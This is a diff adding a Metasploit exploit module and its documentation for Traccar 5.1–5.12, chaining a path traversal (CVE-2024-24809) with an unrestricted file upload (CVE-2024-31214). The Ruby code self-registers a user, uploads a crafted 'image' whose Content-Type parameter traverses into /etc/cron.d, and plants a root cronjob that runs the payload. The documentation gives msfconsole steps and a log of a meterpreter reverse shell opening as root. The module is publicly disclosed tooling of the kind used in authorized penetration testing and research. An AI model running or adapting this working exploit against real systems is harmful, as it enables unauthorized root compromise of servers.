Traccar 5 RCE (CVE-2024-31214 & CVE-2024-24809) Module

documentation/modules/exploit/linux/http/traccar_rce_upload.md

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+## Vulnerable Application
+
+This module exploits two vulnerabilities in Traccar v5.1 - v5.12 to obtain remote code execution: A path traversal vulnerability
+(CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214). By default, the application allows self-registration,
+enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges,
+potentially resulting in a complete system compromise.
+This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the
+specified payload.
+
+## Testing
+
+The software can be obtained from
+[the vendor](https://github.com/traccar/traccar/releases/download/v5.12/traccar-linux-64-5.12.zip).
+
+Installation instructions are available [here](https://www.traccar.org/linux/).
+
+The vulnerable application runs by default on Eclipse Jetty, which listens on TCP port 8082.
+
+**Successfully tested on**
+
+- Traccar v5.12 on Rocky Linux 9.4
+- Traccar v5.11 on Rocky Linux 9.4
+
+## Verification Steps
+
+1. Install and run the application
+2. Start `msfconsole` and run the following commands:
+
+```
+msf6 > use exploit/linux/http/traccar_rce_upload  
+[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
+msf6 exploit(linux/http/traccar_rce_upload) > set RHOSTS <IP>
+msf6 exploit(linux/http/traccar_rce_upload) > set LHOST <IP>
+msf6 exploit(linux/http/traccar_rce_upload) > exploit
+```
+
+You should get a meterpreter session in the context of `root`.
+
+## Options
+
+### USERNAME
+Username to be used when creating a new user.
+
+### PASSWORD
+Password for the new user.
+
+### EMAIL
+E-mail for the new user.
+
+## Scenarios
+
+Running the exploit against Traccar v5.12 on Rocky Linux 9.4, using curl as a fetch command, should result in an output similar
+to the following:
+
+```
+msf6 exploit(linux/http/traccar_rce_upload) > exploit 
+
+[*] Started reverse TCP handler on 192.168.217.128:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable.
+[*] Registering new user...
+[*] Authenticating...
+[*] Adding new device...
+[*] Uploading crontab file...
+[*] Cronjob successfully written - waiting for execution...
+[*] Sending stage (3045380 bytes) to 192.168.217.138
+[*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.138:58196) at 2024-08-25 17:03:02 -0400
+[*] Exploit finished, check thy shell.
+
+meterpreter > sysinfo 
+Computer     : localhost.localdomain
+OS           : Red Hat 9.4 (Linux 5.14.0-427.13.1.el9_4.x86_64)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+
+meterpreter > getuid 
+Server username: root
+```

modules/exploits/linux/http/traccar_rce_upload.rb

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+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)',
+        'Description' => %q{
+          Remote Code Execution in Traccar v5.1 - v5.12.
+          Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214).
+          By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise.
+          This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.
+        },
+        'License' => MSF_LICENSE,
+        'Author' => [
+          'Michael Heinzl', # MSF Module
+          'yiliufeng168', # Discovery CVE-2024-24809 and PoC
+          'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC
+        ],
+        'References' => [
+          [ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'],
+          [ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'],
+          [ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'],
+          [ 'CVE', '2024-31214'],
+          [ 'CVE', '2024-24809']
+        ],
+        'DisclosureDate' => '2024-08-23',
+        'Platform' => [ 'linux' ],
+        'Arch' => [ ARCH_CMD ],
+        'Targets' => [
+          [
+            'Linux Command',
+            {
+              'Arch' => [ ARCH_CMD ],
+              'Platform' => [ 'linux' ],
+              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
+              'Type' => :unix_cmd
+            }
+          ]
+        ],
+        'Payload' => {
+          'BadChars' => "\x27" # apostrophe (')
+        },
+        'DefaultTarget' => 0,
+        'DefaultOptions' => {
+          'WfsDelay' => 75
+        },
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [EVENT_DEPENDENT],
+          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
+        }
+      )
+    )
+
+    register_options(
+      [
+        Opt::RPORT(8082),
+        OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]),
+        OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]),
+        OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]),
+        OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/'])
+      ]
+    )
+  end
+
+  def check
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'api/server')
+    })
+
+    return CheckCode::Unknown unless res && res.code == 200
+
+    data = res.get_json_document
+    version = data['version']
+    if version.nil?
+      return CheckCode::Unknown
+    else
+      vprint_status('Version retrieved: ' + version)
+    end
+
+    unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12'))
+      return CheckCode::Safe
+    end
+
+    return CheckCode::Appears
+  end
+
+  def exploit
+    prepare_setup
+    execute_command(payload.encoded)
+  end
+
+  def prepare_setup
+    print_status('Registering new user...')
+    body = {
+      name: datastore['USERNAME'],
+      email: datastore['EMAIL'],
+      password: datastore['PASSWORD'],
+      totpKey: nil
+    }.to_json
+
+    res = send_request_cgi(
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'api/users'),
+      'ctype' => 'application/json',
+      'data' => body
+    )
+
+    unless res
+      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
+    end
+
+    auth_status = false
+
+    # not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error
+    # to run into when this module is executed more than once without updating the provided email address
+    if res.code == 400 && res.to_s.include?('Unique index or primary key violation')
+      print_status('The same E-mail already exists on the system, trying to authenticate with existing password...')
+      res = send_request_cgi(
+        'method' => 'POST',
+        'keep_cookies' => true,
+        'uri' => normalize_uri(target_uri.path, 'api/session'),
+        'ctype' => 'application/x-www-form-urlencoded',
+        'vars_post' => {
+          'email' => datastore['EMAIL'],
+          'password' => datastore['PASSWORD']
+        }
+      )
+
+      unless res
+        fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
+      end
+
+      json = res.get_json_document
+      unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
+        print_status('Provide the correct password for the existing E-Mail address, or provide a new E-Mail address.')
+        fail_with(Failure::UnexpectedReply, res.to_s)
+      end
+
+      auth_status = true
+
+    end
+
+    unless res.code == 200
+      fail_with(Failure::UnexpectedReply, res.to_s)
+    end
+
+    json = res.get_json_document
+
+    unless json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
+      fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
+    end
+
+    if auth_status == false
+      print_status('Authenticating...')
+      res = send_request_cgi(
+        'method' => 'POST',
+        'keep_cookies' => true,
+        'uri' => normalize_uri(target_uri.path, 'api/session'),
+        'ctype' => 'application/x-www-form-urlencoded',
+        'vars_post' => {
+          'email' => datastore['EMAIL'],
+          'password' => datastore['PASSWORD']
+        }
+      )
+
+      unless res
+        fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
+      end
+
+      json = res.get_json_document
+      unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
+        fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
+      end
+    end
+  end
+
+  def execute_command(cmd)
+    name_v = Rex::Text.rand_text_alphanumeric(16)
+    unique_id_v = Rex::Text.rand_text_alphanumeric(16)
+
+    body = {
+      name: name_v,
+      uniqueId: unique_id_v
+    }.to_json
+
+    print_status('Adding new device...')
+    res = send_request_cgi(
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'api/devices'),
+      'keep_cookies' => true,
+      'ctype' => 'application/json',
+      'data' => body
+    )
+
+    unless res
+      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
+    end
+
+    json = res.get_json_document
+
+    unless res.code == 200 && json['name'] == name_v && json['uniqueId'] == unique_id_v && json.key?('id')
+      fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
+    end
+
+    id = json['id'].to_s
+    body = Rex::Text.rand_text_alphanumeric(1..4)
+    fn = Rex::Text.rand_text_alpha(1..2)
+
+    print_status('Uploading crontab file...')
+    res = send_request_cgi(
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
+      'keep_cookies' => true,
+      'ctype' => 'image/png',
+      'data' => body
+    )
+
+    unless res
+      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
+    end
+
+    unless res.code == 200 && res.to_s.include?('device.png')
+      fail_with(Failure::UnexpectedReply, res.to_s)
+    end
+
+    res = send_request_cgi(
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
+      'keep_cookies' => true,
+      'ctype' => "image/png;#{fn}=\"/b\"",
+      'data' => body
+    )
+
+    unless res
+      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
+    end
+
+    unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"")
+      fail_with(Failure::UnexpectedReply, res.to_s)
+    end
+
+    body = "* * * * * root /bin/bash -c '#{cmd}'\n"
+    cronfn = SecureRandom.hex(12)
+
+    res = send_request_cgi(
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
+      'keep_cookies' => true,
+      'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"",
+      'data' => body
+    )
+
+    register_file_for_cleanup("/etc/cron.d/#{cronfn}\"")
+
+    unless res
+      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
+    end
+
+    unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"")
+      fail_with(Failure::UnexpectedReply, res.to_s)
+    end
+
+    vprint_status('Cleanup: Deleting previously added device...')
+    res = send_request_cgi(
+      'method' => 'DELETE',
+      'uri' => normalize_uri(target_uri.path, "api/devices/#{id}"),
+      'headers' => {
+        'Connection' => 'close'
+      }
+    )
+
+    unless res
+      print_bad('Failed to receive a reply from the server, device removal might have failed.')
+    end
+
+    unless res.code == 204
+      print_bad('Received unexpected reply, device removal might have failed:\n' + res.to_s)
+    end
+
+    # It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early
+    print_status('Cronjob successfully written - waiting for execution...')
+  end
+end